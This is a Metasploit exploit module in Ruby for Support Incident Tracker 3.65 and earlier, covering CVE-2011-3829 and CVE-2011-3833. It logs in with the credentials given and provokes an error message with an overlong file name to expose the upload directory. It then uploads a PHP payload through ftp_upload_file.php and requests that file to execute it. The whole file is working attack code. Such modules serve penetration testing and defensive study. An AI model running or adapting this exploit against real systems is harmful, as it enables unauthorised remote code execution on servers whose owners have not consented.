##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Support Incident Tracker Remote Command Execution',
      'Description'    => %q{
          This module combines two separate issues within Support Incident Tracker (<= 3.65)
        application to upload arbitrary data and thus execute a shell. The two issues exist
        in ftp_upload_file.php.
        The first vulnerability exposes the upload dir used to store attachments.
        The second vulnerability allows arbitrary file upload since there is no
        validation function to prevent from uploading any file type.
        Authentication is required to exploit both vulnerabilities.
      },
      'Author'         =>
        [
          'Secunia Research', # Original discovery
          'juan vazquez'      # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2011-3829'],
          ['CVE', '2011-3833'],
          ['OSVDB', '76999'],
          ['OSVDB', '77003'],
          ['URL', 'http://secunia.com/secunia_research/2011-75/'],
          ['URL', 'http://secunia.com/secunia_research/2011-79/'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'ConnectionType' => 'find',
            }
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Nov 10 2011',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('URI', [true, "SiT! directory path", "/sit"]),
        OptString.new('USERNAME', [ true, 'The username to authenticate as','' ]),
        OptString.new('PASSWORD', [ true, 'The password for the specified username','' ]),
      ])
  end

  def check

    uri = normalize_uri(datastore['URI'], "index.php")

    res = send_request_raw({
      'uri'     => uri
    })

    if (res and res.body =~ /SiT! Support Incident Tracker v(\d)\.(\d\d)/)
      ver = [ $1.to_i, $2.to_i ]
      vprint_status("SiT! #{ver[0]}.#{ver[1]}")

      if (ver[0] == 3 and ver[1] == 65)
        return Exploit::CheckCode::Appears
      elsif (ver[0] == 3 and ver[1] < 65)
        return Exploit::CheckCode::Appears
      end
    end

    return Exploit::CheckCode::Safe
  end

  def retrieve_session(user, pass)

    uri = normalize_uri(datastore['URI'], "login.php")

    res = send_request_cgi({
      'uri'     => uri,
      'method'  => 'POST',
      'data'    => "username=#{user}&password=#{pass}",
    }, 25)

    if (res and res.code == 302 and res.headers['Location'] =~ /main.php/)
      print_good("Successfully logged in as #{user}:#{pass}")

      if (res.get_cookies =~ /SiTsessionID/) and res.get_cookies.split("SiTsessionID")[-1] =~ /=(.*);/
        session = $1
        print_good("Successfully retrieved cookie: #{session}")
        return session
      else
        fail_with(Failure::Unknown, "Error retrieving cookie!")
      end
    else
      fail_with(Failure::Unknown, "Error logging in.")
    end
  end

  def upload_page(session, newpage, contents)

    uri = normalize_uri(datastore['URI'], "ftp_upload_file.php")

    boundary = rand_text_alphanumeric(6)

    data = "--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"file\"; "
    data << "filename=\"#{newpage}\"\r\n"
    data << "Content-Type: application/x-httpd-php\r\n\r\n"
    data << contents
    data << "\r\n--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"shortdescription\"\r\n\r\n"
    data << rand_text_alphanumeric(rand(10 + 10))
    data << "\r\n--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"longdescription\"\r\n\r\n"
    data << rand_text_alphanumeric(rand(20) + 20)
    data << "\r\n--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"fileversion\"\r\n\r\n"
    data << "1"
    data << "\r\n--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
    data << "publish"
    data << "\r\n--#{boundary}--"

    res = send_request_raw({
      'uri'	  => uri,
      'method'  => 'POST',
      'data'    => data,
      'headers' =>
      {
        'Content-Type'	 => 'multipart/form-data; boundary=' + boundary,
        'Content-Length' => data.length,
        'Cookie'	 => "SiTsessionID=#{session}",
      }
    }, 25)

    if (res and res.code == 200)
      print_good("Successfully Uploaded #{newpage}")
      return res
    else
      fail_with(Failure::Unknown, "Error uploading #{newpage}")
    end
  end

  def retrieve_upload_dir(session)
    data =  rand_text_alphanumeric(rand(20)+20)
    filename = rand_text_alphanumeric(rand(256) + 300)
    res = upload_page(session, filename, data)

    if res.body =~ /attachments-(.*)\/#{filename}\): failed to open stream/
      upload_dir = "attachments-#{$1}"
      print_good("Successfully retrieved upload dir: #{upload_dir}")
      return upload_dir
    else
      fail_with(Failure::Unknown, "Error retrieving the upload dir")
    end

  end

  def cmd_shell(cmdpath)
    print_status("Calling payload: #{cmdpath}")

    uri = normalize_uri(datastore['URI'], cmdpath)

    send_request_raw({
      'uri'	=> uri
    }, 25)
    return
  end

  def exploit
    cmd_php = '<?php ' + payload.encoded + '?>'
    cmdscript   = rand_text_alphanumeric(rand(10)+10) + '.php'
    user        = datastore['USERNAME']
    pass        = datastore['PASSWORD']

    session = retrieve_session(user, pass)
    upload_dir = retrieve_upload_dir(session) # CVE-2011-3829
    upload_page(session, cmdscript, cmd_php) # CVE-2011-3833
    cmdpath = "#{upload_dir}/#{cmdscript}"
    cmd_shell(cmdpath)
    handler
  end
end
